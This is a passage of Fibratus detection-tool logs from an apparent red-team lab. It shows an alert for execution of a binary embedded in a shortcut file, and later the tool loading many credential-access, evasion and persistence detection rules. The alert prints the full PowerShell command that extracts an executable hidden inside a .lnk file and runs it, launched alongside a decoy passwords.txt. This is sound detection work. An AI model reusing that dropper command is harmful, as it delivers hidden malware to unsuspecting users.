ffff8b044049eaa0, file_path➜ C:\Fibratus\redteam\EmbedExeLnk-\fishy.lnk, irp➜ ffff8b04541410f8, share_mask➜ READ|WRITE, status➜ Success, tid➜ 15796, type➜ Directory + Metadata: rule.name: Embedded binary execution via shortcut file, tactic.id: TA0002, tactic.name: Execution, tactic.ref: https://attack.mitre.org/tactics/TA0002/ + + Pid: 3088 + Ppid: 3076 + Name: powershell.exe + Parent name: cmd.exe + Cmdline: powershell $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00073B1A} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file | select -Skip 002842)) -Encoding Byte; & $path; + Parent cmdline: "C:\WINDOWS\system32\cmd.exe" /K start notepad C:\\Users\nedo\AppData\Local\Google\Chrome\User Data\ZxcvbnData\3\passwords.txt && powershell $lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq 0x00073B1A} ^| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file ^| select -Skip 002842)) -Encoding Byte; ^& $path; + Exe: powershell $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00073B1A} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe + Cwd: C:\Fibratus\redteam\EmbedExeLnk-\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [powershell $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00073B1A} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; $path = 'C:\Users\nedo\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file | select -Skip 002842)) -Encoding Byte; & $path;] + Session ID: 1 + Envs: map[:C:=C:\Fibratus\redteam\EmbedExeLnk- ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1792_1262719628:1 EFC_1792_1592913036:1 EFC_1792_2283032206:1 EFC_1792_2775293581:1 EFC_1792_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-11T16:22:06+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T16:22:06+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T16:22:07+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T16:23:14+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_embedded_binary_execution_via_shortcut_file.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-11T16:23:14+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-12-11T16:23:14+01:00 level=info msg=bootstrapping with pid 12708. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T16:23:14+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ enabled=>false use-template=>true content-type=>text/html to=>[] port=>25] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ enable-audit-api=>true enable-net=>true enable-mem=>false enable-threadpool=>false enable-vamap=>true enable-thread=>true enable-dns=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] flush-interval=>1s enable-fileio=>true enable-handle=>false buffer-size=>512 stack-enrichment=>true max-buffers=>36 enable-image=>true enable-registry=>true min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 log-stdout=>true formatter=>text max-backups=>15 max-size=>100 level=>info] + output ......................... [ eventlog=>[ enabled=>false level=>info] amqp=>[ exchange=>fibratus durable=>false routing-key=>fibratus tls-insecure-skip-verify=>false exchange-type=>topic delivery-mode=>transient passive=>false enabled=>false url=>amqp://localhost:5672 timeout=>5s vhost=>/] http=>[ timeout=>5s tls-insecure-skip-verify=>false endpoints=>[] enabled=>false serializer=>json method=>POST enable-gzip=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] elasticsearch=>[ timeout=>5s template-name=>fibratus healthcheck=>true servers=>[http://127.0.0.1:9200] trace-log=>false bulk-workers=>1 healthcheck-interval=>10s healthcheck-timeout=>5s index-name=>fibratus sniff=>false flush-period=>1s enabled=>false gzip-compression=>false]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false skip-files=>false skip-registry=>false enabled=>false fastscan=>true excluded-procs=>[] scan-timeout=>10s skip-mmaps=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-12-11T16:23:15+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T16:23:17+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T16:27:00+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T16:27:00+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T16:27:01+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T16:27:03+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-11T16:27:03+01:00 level=info msg=loading rule from 